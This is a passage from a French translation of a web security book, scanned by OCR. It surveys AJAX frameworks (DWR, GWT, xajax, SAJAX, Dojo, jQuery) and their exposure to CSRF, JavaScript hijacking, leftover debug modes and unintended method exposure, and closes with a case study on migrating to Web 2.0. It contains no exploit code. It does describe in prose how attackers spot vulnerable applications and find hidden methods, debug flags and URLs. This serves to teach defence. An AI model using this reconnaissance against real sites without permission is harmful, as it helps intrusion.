decrivant les classes de 1' application web connues de DWR. Des lors, il suffira d'explorer 
chacune pour prendre connaissance des methodes qu'elle expose. 

Prevention contre le mode de debogage 

La contre-mesure appropriee est tres simple : desactiver le mode de debogage dans les 
environnements de production. Pour cela, on emploiera les reglages suivants dans la 
section dwr servlet <servlet> du fichier de configuration WEB INF/web. xml: 

<init-param> 

<param-name>debug</param-name> 

<param-value>f alse</param-value> 
</init-parani> 

Autre possibilite : eliminer totalement la section de debogage du fichier de configura- 
tion web. xml. 

En ce qui concerne I'exposition a des attaques de detoumement de type CSRF ou 
JavaScript, DWR se distingue de tous les autres frameworks AJAX. Certes, sa bran- 
che 1.x rappelait ses concurrents, en incorporant aucune protection particuliere contre 



1. N.D.T. : "L'acces aux pages de debogage est refuse". 
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ces dangers. Cependant, la branche 2.x de DWR prevoit a cette fin le cookie JSESSIO 
NID. Au lieu de se contenter d'en verifier la valeur dans les en-tetes, DWR 2.x I'integre 
egalement au corps d'une requete HTTP POST. Le produit refusera toute requete oil 
cette valeur n'apparait pas. Ce sujet et d'autres questions relatives aux agressions de 
type CSRF sont evoques au Chapitre 4. 

Ces protections anti-CSRF, integrees par defaut sur toutes les applications DWR 2.x, 
peuvent toutefois etre desactivees par les developpeurs si elles genent 1' application 
web. En precisant crossDomainSessionSecurity=f alse dans la section init param du 
fichier web.xml, on otera les protections anti-detournement de type CSRF ou JavaS- 
cript. Heureusement pour un agresseur potentiel, cette situation, trahissant une applica- 
tion vulnerable aux attaques CSRF, est facile a reconnaitre. Pour cela, il suffit 
d'observer les requetes HTTP POST emises par 1' application web. Si la valeur de cookie 
JSESSIONID y apparait dans les en-tetes comme dans le corps, les defenses crossDo 
mainSessionSecurity sont activees ; dans le cas contraire, I'application presente peut- 
etre un point faible. 

— Info 

Pour en savoir plus sur les attaques de type CSRF, reportez-vous au Chapitre 4 et au livre 
blanc ecrit (en anglais) par Jesse Burns, disponible a I'adresse www.isecpartners.com/files/ 
XSRF_Paper.pdf. 



Google Web Toolkit 

GWT ou Google Web Toolkit (http://code.google.coin/webtoolkit) est un framework 
AJAX propose par Google et permettant aux developpeurs Java de creer des applica- 
tions AJAX. Pour cela, ils ecrivent du code Java puis font appel a GWT pour transfor- 
mer I'application en fichiers HTML et JavaScript, susceptibles alors d'etre heberges sur 
tout serveur web traditionnel, comme Apache ou Microsoft IIS. GWT ne fonctionnant 
pas vraiment comme un mandataire entre le client et I'application web, il est difficile 
d'y reconnaitre de prime abord un framework relevant de cette famille. Cependant, 
cette analyse le considerera comme tel du fait de sa compilation d'une application 
renfermant parfois des fonctionnalites cachees, operation susceptible d'en montrer 
toutes les methodes a I'utilisateur. 

Procedure d'installation 

Pour installer GWT, on suivra les etapes suivantes : 

1. S'assurer d' abord que Ton dispose du SDK Java de Sun Microsystems (Sun Java 
Software Development Kit). 



200 Partie III 



Ajax 



2. Telecharger la derniere version de GWT a I'adresse http://code.googIe.coin/ 
webtoolkit/download.html. 

3. Employer le script applicationCreator pour generer les fichiers necessaires a la 
prise en charge de 1' application web Java a venir. Ecrire et deboguer celle-ci dans 
I'environnement de developpement integre (IDE) de son choix pour la rendre prete 
au deploiement. 

4. A Tissue de son developpement, le produit est pret a etre compile par GWT. Executer 
le script de compilation du framework, qui transformer a 1' application Java en un 
ensemble de fichiers JavaScript et HTML, susceptibles d'etre copies sur le serveur 
web de son choix pour y etre servis au client. 

Exposition non intentionnelle de mettiodes 



Popularite : 


4 


Simplicite : 


6 


Impact ^^^HH 


F 3 


Evaluation du risque : 


4 



Du point de vue de 1' exposition des methodes, GWT constitue un cas interessant. 
Tandis que d'autres frameworks AJAX imposent aux developpeurs de declarer les clas- 
ses qu'ils souhaitent exposer, GWT public par defaut toutes les methodes de 1' applica- 
tion. Cela s'explique par son architecture compilee originale, differente du style 
mandataire habituel des autres frameworks AJAX. Quand GWT transforme une appli- 
cation, il produit des fichiers JavaScript et HTML ne necessitant aucune forme de 
mandataire intermediaire (middleware). Ce processus peut poser un probleme aux 
developpeurs souhaitant masquer certaines methodes sensibles, mais ne beneficiera pas 
autant aux agresseurs qu'on pourrait le craindre. En effet, au lieu de reprendre les noms 
des methodes dans le code JavaScript, GWT les transforme en identifiants abscons, tels 
que ab ou vF, en lieu et place de seConnecter ou methodeSensible . Par consequent, 
meme si toutes les methodes sont exposees, elles ne le seront pas sous une forme facile 
a exploiter pour un agresseur. 

A I'instar de la plupart des autres frameworks, GWT craint les CSRF, contre lesquelles il 
n' integre aucune protection par defaut. Par consequent, il reviendra aux developpeurs de 
constmire les defenses appropriees a ce type d' agression dans leurs applications. 

Pour decouvrir si une application GWT prete le flanc aux attaques de type CSRF, on 
procedera comme pour tout autre framework. Un agresseur en inspectera les requetes 
GET et POST lors d'une utilisation normale. A defaut d'y decouvrir des valeurs secretes 
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(comme le cookie JSESSIONID repete dans le coq)s de la requete pour DWR), il conclura 
que rapplication web est vulnerable. Bien que GWT n'integre par defaut aucun meca- 
nisme de protection contre ce danger, Google a publie un document detaillant les risques 
et suggerant aux developpeurs web des manieres de defendre leurs produits contre les 
failles de securite les plus frequentes, et notamment CSRF (a I'adresse http:// 
groups.google.coin/group/Google-Web-Toolkif/web/security-for-gwt-applications). 

— 0 Info 

Pour en savoir plus sur les attaques de type CSRF, reportez-vous au Chapitre 4. 



En plus de CSRF, les applications web GWT sont encore susceptibles de subir des agres- 
sions par detoumement de JavaScript, ce framework reposant sur JSON (JavaScript Object 
Notation) pour les communications entre le client et le serveur. Heureusement pour les 
developpeurs, GWT soumet par defaut les requetes au serveur a I'aide de la methode 
HTTP POST, ce qui limite I'exposition a ce danger. On signalera toutefois qu'il est elemen- 
taire de modifier les applications GWT pour leur faire employer des requetes HTTP GET. 
Les progi^ammeurs optant pour ce choix devront alors implementer des protections contre 
le detournement de JavaScript, sous peine d'etre vulnerables a ce risque. 

xajax 

Le produit xajax (www.xajaxproject.org) est un framework AJAX serveur pour les 
applications web ecrites en PHP (PHP Hypertext Preprocessor). II prend en charge les 
branches 4.3.x et 5 de ce langage, ainsi que les plates-formes Apache et IIS pour le 
serveur web. Son fonctionnement est celui d'un framework serveur classique ; il joue le role 
d'un objet intergiciel (middleware) entre le client et le code du serveur. Quand celui-la 
souhaite appeler une methode sur celui-ci, du code JavaScript situe dans le client emet 
I'appel sur I'objet xajax, qui transmet alors la demande aux methodes PHP du serveur. 
Lorsque le serveur renvoie les resultats, I'objet xajax les passe alors, au format XML, au 
code JavaScript client, pour affichage dans le navigateur de I'utilisateur. 

Procedure d'installation 

Pour installer xajax, on suivra les etapes suivantes : 

1. S'assurer que I'application web emploie PHP dans une version 4.3.x ou 5. 

2. Telecharger la derniere version du framework xajax a I'adresse http://prdown- 
loads.sourceforge.net/xajax / . 

3. Intervenir sur I'application pour y incorporer les fonctionnalites du framework 
xajax. On commencera par y inclure sa bibliotheque principale, xaj ax . inc . php. 
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4. Instancier I'objet xajax maitre en creant un nouvel objet xajax. II fonctionnera 
comme un mandataire (proxy) entre le code JavaScript du client et les methodes que 
celui-ci souhaite appeler sur 1' application PHP. 

5. Indiquer quelles methodes PHP exposer au client ; c'est I'etape la plus susceptible 
de mettre en peril la securite de 1' application. En general, on recourt pour cela a la 
methode registerFunction( ), en lui passant pour argument le nom d'une 
methode PHP a exposer. La section d'attaque ci-apres detaille une autre technique 
d' exposition. 

6. Apres avoir expose les methodes desirees, il reste a effectuer deux dernieres opera- 
tions. D'abord, on demarrera xajax en lui indiquant de prendre en charge les appels 
entrants des clients par la methode processRequests( ). Enfin, on inserera le code 
JavaScript genere automatiquement dans le code HTML emis aupres du client en 
invoquant la methode xajax print Javascript ( ). 

Exposition non intentionnelle de mettiodes 



Popularite : 


4 


Simplicite : 


6 


Impact : ^^^^^^^^^^ 


^ 3 


Evaluation du risque : 


4 



Les developpeurs ay ant opte pour xajax souffriront parfois d' exposition non inten- 
tionnelle de methodes. Comme on le verra dans I'etude de cas consacree aux expo- 
sitions en fin de chapitre, les programmeurs d' applications web ont pris 1' habitude 
du fait que leurs utilisateurs ne pouvaient en connaitre que les methodes explicite- 
ment mentionnees. Malheureusement, cette ligne de demarcation a souvent evolue 
avec I'avenement du Web 2.0. C'est partiellement vrai pour les applications xajax, 
mais pas autant que pour d'autres frameworks AJAX. Meme s'il faut par defaut y 
preciser une a une les methodes a exposer, xajax propose aux developpeurs une 
maniere facile d'enregistrer d'un coup toutes les methodes de 1' application. En 
effet, pour toute definition de classe comptant un grand nombre de methodes, on 
pourra recourir au code mentionne sur le site de xajax (http://wiki.xajaxproject.org/ 
Xajax_0.2:_Tips_and_Tricks:_Auto_Register_Methods) pour inclure automatique- 
ment toutes les methodes fournies par la classe. Ces etapes supplementaires imposees 
au developpeur souhaitant exposer toutes les methodes d'une classe reduisent certes la 
surface de frappe par rapport aux autres produits, mais on prendra tout de meme garde 
a ne pas commettre d'erreur. Comme pour tout autre framework, et sachant que xajax 
leur fournit des manieres pratiques d'exposer toutes les methodes de 1' application, les 
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developpeurs s'assureront de ne rien publier de sensible accidentellement. Quant aux 
agresseurs, il leur faudra obtenir une liste complete des methodes revelees par 1' appli- 
cation pour y rechercher soigneusement toute fonction sensible publiee par erreur. 

— 4i Info 

Le Chapitre 6 couvre la maniere d'obtenir les methodes exposees par I'application. 



Comme la plupart des autres frameworks, xajax n'integre aucune protection par defaut 
contre les attaques de type CSRF ; les developpeurs s'assureront que leur application 
est suffisamment protegee. Pour un agresseur recherchant une faille CSRF dans une 
application xajax, la procedure d'exploration ressemble a celle employee pour d'autres 
frameworks : il suffit d'examiner les requetes HTTP GET et POST emises aupres d'une 
application web xajax lors d'une utilisation normale de celle-ci. A defaut d'y decouvrir 
des valeurs secretes (comme le cookie JSESSIONID repete dans le corps de la requete 
pour DWR), il conclura que I'application web est vulnerable. 

— # Info 

Pour en savoir plus sur les attaques de type CSRF, reportez-vous au Chapitre 4. 



Heureusement pour les developpeurs, meme si xajax n'integre par defaut aucune 
defense anti-CSRF, les applications reposant sur ce framework sont immunisees contre 
les attaques par detournement de JavaScript. En effet, ces dernieres ne fonctionnent que 
sur les applications web exprimant leur trafic descendant aux formats JSON ou JavaS- 
cript. Dans toutes ses versions actuelles, xajax ne prend en charge que XML pour ces 
messages. Ce choix de conception protege done les programmeurs optant pour xajax de 
toute attaque par detournement de JavaScript. 

SAJAX 

SAJAX (www.modernmethod.com/sajax/) est une boite a outils AJAX serveur capa- 
ble de prendre en charge des applications web ecrites dans un grand nombre de langa- 
ges. A I'heure oil nous ecrivons ces lignes, ASP, ColdFusion, PHP, Python, Ruby et 
quelques autres y sont ainsi reconnus. SAJAX fonctionne comme un framework AJAX 
mandataire classique et permet aux developpeurs de definir quelles methodes de 
I'application web ils souhaitent exposer. Ces dernieres une fois etiquetees, les program- 
meurs peuvent inclure dans le code HTML des pages le code JavaScript genere automa- 
tiquement par le framework. 
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Procedure d'installation 

Pour installer SAJAX, on suivra les etapes suivantes : 

1. Telecharger le framework SAJAX a I'adresse www.modemmethod.com/sajax/ 
download.phtml. 

2. Intervenir dans 1' application pour la doter des fonctionnalites SAJAX. On y inclura 
d'abord la bibliotheque principale du framework, dont le nom depend du langage 
employe. Dans le cas de PHP, il s'agira de Sajax.php, tandis que la bibliotheque 
ColdFusion s'appelle Sa j ax . cf m. 

3. Instancier I'objet SAJAX en appelant la fonction sajax init(). Cet objet servira 
de mandataire entre le code JavaScript du client et les methodes de 1' application 
web situees sur le serveur. 

4. Declarer les methodes de 1' application que SAJAX publiera aux clients dans le code 
JavaScript genere dynamiquement. Pour cela, on passera a la fonction 
saj ax export ( ) toutes les methodes a exposer, sous forme d'une enumeration dont 
les elements sont separes par des virgules. 

5. Apres avoir expose les methodes desirees, il reste a effectuer deux dernieres operations. 
D'abord, on demarrera SAJAX en lui indiquant de prendre en charge les appels 
entrants des clients par la methode SAJAX sajax handle client request (). 
Enfin, on inserera le code JavaScript genere automatiquement dans le code HTML 
emis aupres du client en invoquant la methode SAJAX saj ax show JavaScript ( ) . 

Expositions frequentes 

A I'instar de plusieurs autres frameworks AJAX, SAJAX n'integre par defaut aucun 
mecanisme de protection contre les attaques de type CSRF. Les developpeurs doivent 
done s'en charger eux-memes. Pour savoir si une application SAJAX souffre d'une 
faille CSRF, un agresseur en examinera les requetes HTTP GET. Si celles-ci ne renfer- 
ment que des contenus faciles a deviner, et a defaut d'y decouvrir des valeurs secretes 
(comme le cookie JSESSIONID repete dans le corps de la requete pour DWR), il 
conclura que 1' application web est vulnerable. 



Info 



Pour en savoir plus sur les attaques de type CSRF, reportez-vous au Chapitre 4. 



En plus des attaques CSRF, le framework AJAX est par defaut particulierement vulne- 
rable a des agressions par detournement de JavaScript, pour deux raisons. D'abord, il 
exprime son trafic descendant dans ce langage. D' autre part, il s'appuie sur des requetes 
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HTTP GET. Par consequent, il reviendra aux developpeurs des applications de prevoir 
des lignes de defense contre ces dangers. 

Exposition non intentionnelle de mettiodes 



Popularite : 


4 


Simplicite : 


6 


Impact : 


3 


Evaluation du risque : 


4 



En matiere des autres expositions frequentes, comme les fonctionnalites de debogage 
ou la publication de methodes potentiellement sensibles, SAJAX court moins de 
risques que d'autres frameworks. Par exemple, I'activation du debogage y declenche un 
certain nombre d'alertes JavaScript lors de I'utilisation de I'application web ; il est 
done quasiment impossible a un developpeur d'oublier ce detail lors du passage en 
production. Quant a I'exposition de methodes potentiellement sensibles, a I'heure oil 
nous ecrivons ces lignes, SAJAX ne propose aucune maniere automatique de publier 
d'un seul jet un grand nombre de methodes. En d'autres termes, chacune sera exposee 
manuellement par un developpeur, a travers la fonction sajax export ( ) ; il est done 
tres peu probable que cette manipulation laisse passer une methode sensible de I'appli- 
cation web. 

Exposition non intentionnelle de methodes 

Aucune contre-mesure automatique ne protege contre I'exposition non intentionnelle 
de methodes. Apres avoir mis au point une application AJAX, les developpeurs veille- 
ront systematiquement a la controler depuis un outil mandataire web comme WebScarab 
pour decouvrir precisement tout ce qu'elle emet aupres des clients. 

BoTte a outils Dojo 

La boite a outils Dojo (http://dojotoolkit.org/) est un framework client assistant a 
la creation d' applications web AJAX. Plusieurs de ses fonctionnalites, comme de 
nombreux widgets et des bibliotheques d'effets speciaux, en simplifient le develop- 
pement. 

D' autre part, Dojo permet aux developpeurs de n'incorporer que les sections de ses 
interfaces de programmation (API) effectivement utilisees par leur programme. Cela 
rassurera les programmeurs chagrines d'observer I'explosion de la taille du code Java- 
Script emis par les applications web aupres de leurs clients pour leur bon fonctionnement. 
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Comme Prototype et d'autres frameworks AJAX clients, Dojo se limite a une bibliothe- 
que cote client de fichiers JavaScript ; on poun^a done I'associer a toute technologic 
d'ecriture d'application cote serveur, comme PHP ou Java. 

Securite de la serialisation 

De par la nature des frameworks AJAX cote client, la surface de frappe est considera- 
blement reduite par rapport a celle qu'offrent les frameworks cote serveur. En effet, 
ces derniers doivent exposer des methodes a leurs clients, gerer le debogage et se 
proteger contre les menaces frequentes que constituent les attaques CSRF ou par 
detournement de JavaScript. Les frameworks cote client, quant a eux, visent principa- 
lement a fournir des widgets faciles d'emploi pour le developpement d' interfaces 
graphiques, tout en abstrayant les particulaiites de chaque navigateur en matiere de 
XMLHttpRequest. Cela explique pourquoi la securite d'une application web 
s'appuyant sur un framework cote client repose avant tout sur le format de serialisation 
choisi par celui-ci. 

Par defaut, la boite a outils Dojo s'appuie sur le format JSON, susceptible de mener 
facilement a des attaques par detournement de JavaScript. Heureusement pour les deve- 
loppeurs, Dojo soumet par defaut les requetes au serveur a I'aide de la methode HTTP 
POST, ce qui limite I'exposition a ce danger, a fortiori si le serveur de I'application web 
est construit de maniere a ne prendre en charge que ce type de requetes. Toutefois, il est 
frequent que les developpeurs remplacent ces requetes HTTP POST par des requetes 
GET, plus performantes et faciles d'emploi. Les programmeurs optant pour ce choix 
devront alors prendre conscience du risque qu'ils font courir a leur application : la 
possibilite d' attaques par detournement de JavaScript. 

On evitera certes la requete HTTP GET au profit de la methode POST, mais il conviendra 
aussi d'employer un format de serialisation different. Pour les applications web repo- 
sant sur Dojo et soucieuses de leur securite, on recommandera le choix de XML pour le 
trafic descendant, ce qui constituera une protection profonde et robuste, de par la nature 
des attaques par detournement de JavaScript. 

jQuery 

Le framework jQuery (http://jquery.coin/), lui aussi situe cote client, assistera les 
developpeurs dans la construction d' applications web AJAX. Pour cela, il leur propose 
de manipuler de nombreux elements du modele objet de document (Document Object 
Model ou DOM) a travers I'objet chainable jQuery. Puisque jQuery se limite a une 
bibliotheque cote client de fonctions JavaScript, on poum I'associer a toute technologic 
d'ecriture d'application cote serveur, comme PHP ou Java. 
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Securite de la serialisation 

Par defaut, jQuery propose quatre types de formats de serialisation a I'utilisateur : 
XML, HTML, JSON et des scripts. Le choix de I'un des deux derniers rendra ['applica- 
tion vulnerable a une agression par detournement de JavaScript. En effet, le framework 
jQuery emploie par defaut la requete HTTP GET. Par consequent, les serveurs d'applica- 
tion qu'on lui associe reconnaissent generalement cette methode. Sur les serveurs 
hebergeant leurs applications web, les developpeurs veilleront a ne proposer que la 
requete HTTP POST. 

D'autre part, les programmeurs eviteront les formats de serialisation JSON et Java- 
Script pour leur preferer XML ou HTML, proposes par jQuery. Associe aux autres 
defenses, ce choix constituera une protection profonde et robuste contre les attaques par 
detournement de JavaScript. 

Resume 

Le passage aux fonctionnalites de type AJAX peut modifier la surface de frappe des 
applications web. Auparavant, ces dernieres definissaient clairement quelles informa- 
tions exposer a I'utilisateur, mais le Web 2.0 obscurcit la donne. Les migrations des 
applications web vers des frameworks AJAX veilleront done a prevoir des tests contro- 
lant notamment les expositions non intentionnelles de methodes et les fonctionnalites 
de debogage. 

D'autre part, les developpeurs AJAX prendront exactement conscience des niveaux de 
protection fournis par leur framework. Dans le cas des agressions de type CSRF, seuls 
les utilisateurs de DWR dans ses versions 2.x en sont automatiquement proteges ; ce 
n'est pas le cas de ceux des autres frameworks comme GWT, xajax ou encore SAJAX. 
Parfois, des decisions relatives a la conception d'un framework AJAX apporteront 
d' autres avantages en matiere de securite - citons une nouvelle fois DWR, qui ne craint 
rien du detournement de JavaScript grace a certaines defenses supplementaires, ou 
xajax, beneficiant sur ce point de la robustesse du format de serialisation XML. C'est 
pourquoi nous recommandons aux developpeurs employant des frameworks cote client, 
tels que Prototype et Dojo Toolkit, de renforcer leur securite en optant pour XML 
comme format de trafic descendant. 

Quel que soit le framework finalement retenu, c'est encore XML qui aura la preference 
du programmeur souhaitant minimiser les risques. Les developpeurs se familiariseront 
avec le comportement de leur framework AJAX et apprendront les eventuelles protec- 
tions dont ils y disposent. Pour toute lacune en la matiere, ils elaboreront leurs propres 
defenses en remplacement. 
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Etude de cas : 
Expositions de migrations vers le Web 2.0 

Lors d'une migration classique vers une nouvelle technologie web, on s'inquiete generale- 
ment des questions de fiabilite et de performances. Les developpeurs souhaitent souvent 
que tout "fonctionnera, tout simplement" meme s'ils craignent parfois que le nouvel outil 
ne mette a bas immediatement leur application. Cependant, lors d'une migration vers les 
fonctionnalites du Web 2.0, il convient d'accorder une attention toute particuliere a la 
securite. 

Les developpeurs web dont les applications etaient deja considerees comme sures seront 
peut-etre choques d'apprendre les risques qu'ils courent, et nombreux sont ceux qui les 
ignorent. De par la nature du Web 1.0, les programmeurs ont une idee tres precise des 
informations emises ou non aupres des utilisateurs, mais cette frontiere bouge avec le 
passage au Web 2.0. Une grande proportion de chaque application web fonctionne desor- 
mais au coeur du navigateur, qui doit done en connaitre les proprietes. Pour cela, les 
produits envoient generalement au client un gros bloc de code JavaScript, decrivant toutes 
les methodes necessaires a leur fonctionnement. En d'autres termes, contrairement au cas 
du Web 1 .0, 1'utilisateur connaTt desormais bien plus en detail les entrailles des applications. 
En theorie, cela n'influe en rien sur leur securite, dans la pratique, les programmes 
grouillent souvent de methodes internes et autres fonctionnalites de debogage que les 
clients ne sont pas censes connaitre. Tout cela explique les soucis de securite poses par une 
migration vers le style du Web 2.0. 

Cette etude de cas se penche sur les sujets suivants : 

• le processus de migration vers le Web 2.0 ; 

• les expositions communes ; 

• les methodes internes ; 

• les fonctionnalites de debogage ; 

• les URL cachees ; 

• les fonctionnalites completes. 

Processus de migration vers le Web 2.0 

Partant d'une application web ecrite dans le style du Web 1.0, on debute generalement le 
processus de migration en retenant un framework AJAX. Ce choix depend souvent d'un 
certain nombre de facteurs, et notamment de la plate-forme et des technologies sur lesquel- 
les repose le programme. Comme on peut s'y attendre, la multiplicite des combinaisons a 
produit de nombreux frameworks differents, variant enormement dans la maniere dont ils 
dotent une application web des fonctionnalites propres au Web 2.0. Certains imposent une 
reecriture complete du code, tandis que d'autres sauront s'accommoder de I'existant, qu'ils 
agrementeront des proprietes recherchees. Plusieurs techniques existent pour cela : certains 
frameworks AJAX fonctionnent comme une servlet intermediaire {middleware) entre I'appli- 
cation et le client, tandis que d'autres recompilent toute I'application en code JavaScript, servi 
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ensuite de maniere statique. Quel que soit leur fonctionnement precis, tous les frameworks 
induisent generalement les memes etapes principales : 

1. Telecharger le produit. Le developpeur choisira un framework approprie aux technolo- 
gies employees. Si I'application web repose sur Java, il optera generalement pour 
Google Web Toolkit ou DWR, qui lui eviteront de reecrire son code. D'un autre cote, si 
I'application web n'est pas encore ecrite, il pourra opter pour un produit comme Dojo 
Toolkit, qu'il faut integrer au programme. 

2. Installer le framework. Le programmeur suit ensuite les instructions d'installation preci- 
sees par le produit. Parfois, il suffira de decompacter celui-ci avant d'y preciser d'even- 
tuelles informations de configuration propres au site ; dans d'autres situations, il faudra 
I'integrer a un environnement de developpement integre (IDE) tel que Microsoft Visual 
Studio. 

3. Importer I'application. A Tissue de Tinstallation, I'application web est importee dans le 
framework, etape qui depend beaucoup de celui-ci. II faut souvent configurer le 
framework pour lui indiquer Templacement de Tarborescence source de I'application. 

4. Exposer les methodes. Apres importation de I'application dans le framework et applica- 
tion des elements de configuration appropries, il faut encore preciser les portions du 
programme que Ton souhaite publier. C'est Tetape la plus susceptible de mettre en peril 
la securite de I'application. Souvent, le developpeur souhaitant que I'ensemble fonc- 
tionne au plus vite retiendra dans sa selection toutes les methodes de son projet, ce qui 
peut poser de nombreux problemes. En effet, certaines zones appelees a rester privees 
seront alors transmises a Tutilisateur Le developpeur souhaitant mener correctement 
une migration vers le Web 2.0 consacrera done le plus clair de son temps a choisir 
soigneusement les sections publiees, afin de s'assurer qu'il les connait exactement. 

5. Executer le framework. Enfin, apres importation et configuration complete du produit, 
Texecution de celui-ci donnera vie a la nouvelle application, dans le style du Web 2.0. La 
sortie dependra enormement du framework retenu. Ainsi, avec ASP.Net AJAX de Micro- 
soft, on obtiendra une application web normale. A contrario, une application Java trai- 
tee par le framework Google Web Toolkit produira des fichiers HTML et JavaScript, 
directement servis depuis n'importe quel serveur web statique. 

Expositions frequentes 

Malheureusement pour les developpeurs, la decouverte d'expositions n'est pas un proces- 
sus facile. L'outil SecurityQA Toolbar d'iSEC Partners, disponible a Tadresse www.isecpar- 
tners.com/SecurityQAToolbar, est susceptible de les assister partiellement dans cette tache, 
mais aucun programme ne pourra resoudre entierement ce probleme. La seule maniere 
pour un programmeur de s'assurer de I'absence d'expositions dans une application recem- 
ment migree au Web 2.0 consiste a en analyser le code transmis aux utilisateurs. De meme, 
un agresseur y recherchera des donnees potentiellement sensibles ou publiees par erreur. 
Chaque framework emettant du code d'une maniere qui lui est propre, les precisions 
dependront du cas particulier envisage. Les faiblesses auxquelles s'interesseront deve- 
loppeurs et agresseurs relevent generalement de I'une des categories suivantes : 

• methodes internes ; 

• fonctionnalites de debogage ; 

• URL cachees ; 

• fonctionnalites completes. 
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Methodes internes 

L'exposition la plus dangereuse susceptible de survenir lors d'une migration vers le style du 
Web 2.0 est celle ou un agresseur decouvre une methode que les developpeurs avaient 
con^ue privee et reservee au personnel autorise. Ce n'est guere une bonne habitude, mais 
traditionnellement, les developpeurs du Web 1.0 ont rarement souffert de I'inclusion de 
methodes realisant des commandes d'administration sans authentification et autres actions 
appelees a rester secretes. En effet, dans ce style de programmation, la liste complete des 
methodes n'est jamais communiquee a I'utilisateur. Dans la pratique, si une methode 
s'acquittant d'une fonction administrative porte un nom abscons, aucun agresseur ne la 
decouvrira. Pour la deviner, il faudrait tester exhaustivement tous les noms possibles, solu- 
tion non praticable pour trouver les fonctions cachees. Cependant, une transition vers le 
Web 2.0 risque d'exposer ces fonctionnalites, car une application executee a travers un 
framework AJAX etiquette parfois les methodes a exposer au client. Meme si le framework 
ne les propose pas toutes de maniere automatique, les developpeurs sont souvent tentes 
par cette solution de facilite pour garantir le bon fonctionnement de leur application apres 
la mise a jour. Un developpeur peu soigneux lors de cette etape risquera de publier a ses 
utilisateurs, aux cotes des methodes legitimes, des fonctions internes sensibles - ce dont 
evidemment les agresseurs sauront profiter. 

Fonctionnalites de debogage 

Les fonctionnalites de debogage posent un autre probleme lors de la migration vers le 
Web 2.0 : elles peuvent exposer de nouveaux points faibles. Dans ce domaine vaste, le 
probleme le plus courant consiste a rendre possible I'activation des modes de debogage. 
Comme pour les methodes internes, les developpeurs des applications du Web 1.0 ont rare- 
ment souffert de cette habitude peu sure consistant a prevoir des arguments supplementai- 
res (par exemple debug=true) pour activer une sortie affichant tous les details. Ici encore, il 
leur suffisait de prevoir une variable au nom complexe, quasiment impossible a deviner, 
meme par un agresseur menant une recherche exhaustive. Cependant, lors de la migration 
vers le Web 2.0, I'utilisateur observera desormais I'implementation complete de toutes les 
methodes emises par le serveur. II pourra done en inspecter la definition a la recherche de 
drapeaux de debogage susceptibles d'activer des modes plus verbeux. 

URL cachees 

Autre famille de points faibles souvent exposes dans les applications recemment migrees 
vers le Web 2.0 : les URL cachees. Si Ton a opte pour un framework convertissant une appli- 
cation existante, celui-ci en parcourra I'arborescence du code source, sur laquelle il 
s'appuiera pour produire le nouveau programme. Dans certains cas, les developpeurs comp- 
tent sur des URL cachees pour mener certaines fonctions administratives, ce qui n'est pas 
sans causer quelques soucis. Comme pour les methodes internes et autres expositions de 
fonctionnalites de debogage, cela ne genait pas trop sur le Web 1.0, ou I'agresseur devait 
tester tour a tour toutes les URL possibles a la recherche des portes derobees. Cependant, le 
framework du Web 2.0 disposant de I'arborescence totale du code source du produit 
(incluant notamment les URL auparavant masquees au public), ces adresses secretes 
risquent d'apparaitre dans le code JavaScript emis au client. 
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Fonctionnalites completes 

Meme si elle ne constitue pas a proprement parler d'un probleme de securite, I'exposition 
des fonctionnalites completes merite que Ton s'y attarde du fait de son impact potentiel. 
Comme on I'a deja evoque avec d'autres classes d'exposition, lorsque Ton visite une applica- 
tion migree dans le style du Web 2.0, on regoit generalement un ensemble de fichiers 
JavaScript qui en decrivent toutes les proprietes, souvent emis avant meme que I'authentifi- 
cation n'ait pris place - ce qui donne des informations a un tiers. Voila un changement 
fondamental par rapport a la maniere dont on prenait connaissance des fonctionnalites 
d'une application du Web 1.0. En effet, toute exploration des methodes imposait a un utili- 
sateur de parcourir explicitement chaque section de I'application. Avec le Web 2.0, tous les 
details sont transmis d'un bloc. En soi, cela ne cree pas de faille, mais il s'agit d'une revolu- 
tion dans la maniere dont les applications web interagissent avec leurs utilisateurs. Un 
agresseur cherchant a decouvrir les methodes et a en savoir plus sur une application cible 
aura la partie bien plus facile que dans le cas du Web 1 .0, ou il lui fallait arpenter I'ensemble 
des recoins du produit pour en connaitre les fonctionnalites. 

□'autre part, les fichiers JavaScript emis en trafic descendant par le Web 2.0 decriront 
parfois des proprietes auxquelles un agresseur n'aurait pas eu acces dans une application 
du Web 1.0. Par exemple, le code JavaScript ne se contente pas de decrire des methodes 
susceptibles d'etre appelees par le role de I'agresseur (comme un utilisateur peu privilegie), 
mais precise aussi les fonctions accessibles aux profils de confiance et aux administrateurs. 
Voila des informations utiles quand on cherche plus tard a mener des attaques de type 
CSRF, ou Ton oblige un administrateur a realiser une action precise, grace aux methodes 
d'administration precedemment decouvertes. 

Les expositions de migration constituent une famille interessante de failles, survenant dans 
les applications migrees du Web 1.0 vers le Web 2.0. Contrairement aux faiblesses ou 
I'agresseur recherche un trou de securite particulier, il s'agit ici de fonctionnalites applicati- 
ves auparavant masquees et desormais devoilees. Ces problemes se posent quand les deve- 
loppeurs ne sont pas conscients des proprietes publiees, apres migration, par un framework 
AJAX aupres des utilisateurs. Les agresseurs pourront exploiter le code JavaScript transmis 
par le serveur avant meme que I'authentification ne se soit deroulee, et decrivant I'ensem- 
ble des fonctionnalites de I'application, a la recherche de classes d'exposition frequentes - 
methodes internes, modes de debogage, URL cachees. 

Lors d'une migration vers le Web 2.0, les developpeurs prendront done garde a s'assurer 
que seules les methodes veritablement congues comme publiques sont exposees aux clients, 
tout ce qui releve du fonctionnement interne de I'application demeurant hors de leur 
portee. D'autre part, a Tissue d'un processus de transformation en application du Web 2.0, 
les programmeurs controleront le bon nettoyage des informations emises, pour eviter 
toute fuite de donnees privees. Comme toutes les technologies nouvelles, les applications 
du Web 2.0 ne sont pas, par nature, plus ou moins sures ; il suffit que les developpeurs 
comprennent comment cette nouvelle maniere d'envisager les activites en ligne influe sur 
les interactions entre leur application et ses utilisateurs. 
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Dans les annees 1990, Microsoft a presente la technologic ActiveX pour que les 
developpeurs puissent creer des applications web plus elaborees. Cette technologic 
est souvent retenue lorsque 1' application doit proposer des fonctionnalites riches 
sur une machine Windows, par exemple 1' installation de correctifs (Windows 
Update), I'insertion d'elements multimedias (Flash/WMP/QT) ou I'affichage de 
documents (Acrobat). 

Les composants ActiveX sont telecharges dans le navigateur et/ou le systeme d' exploi- 
tation de I'utilisateur, puis sont integres a I'application web. Les applications web clas- 
siques (Web 1.0) peuvent exiger la presence de clients Win32 sur le systeme 
d' exploitation pour une meilleure convivialite. En revanche, le Web 2.0 s'oriente vers 
des clients integres au navigateur, non au systeme d'exploitation. Les sites dependent 
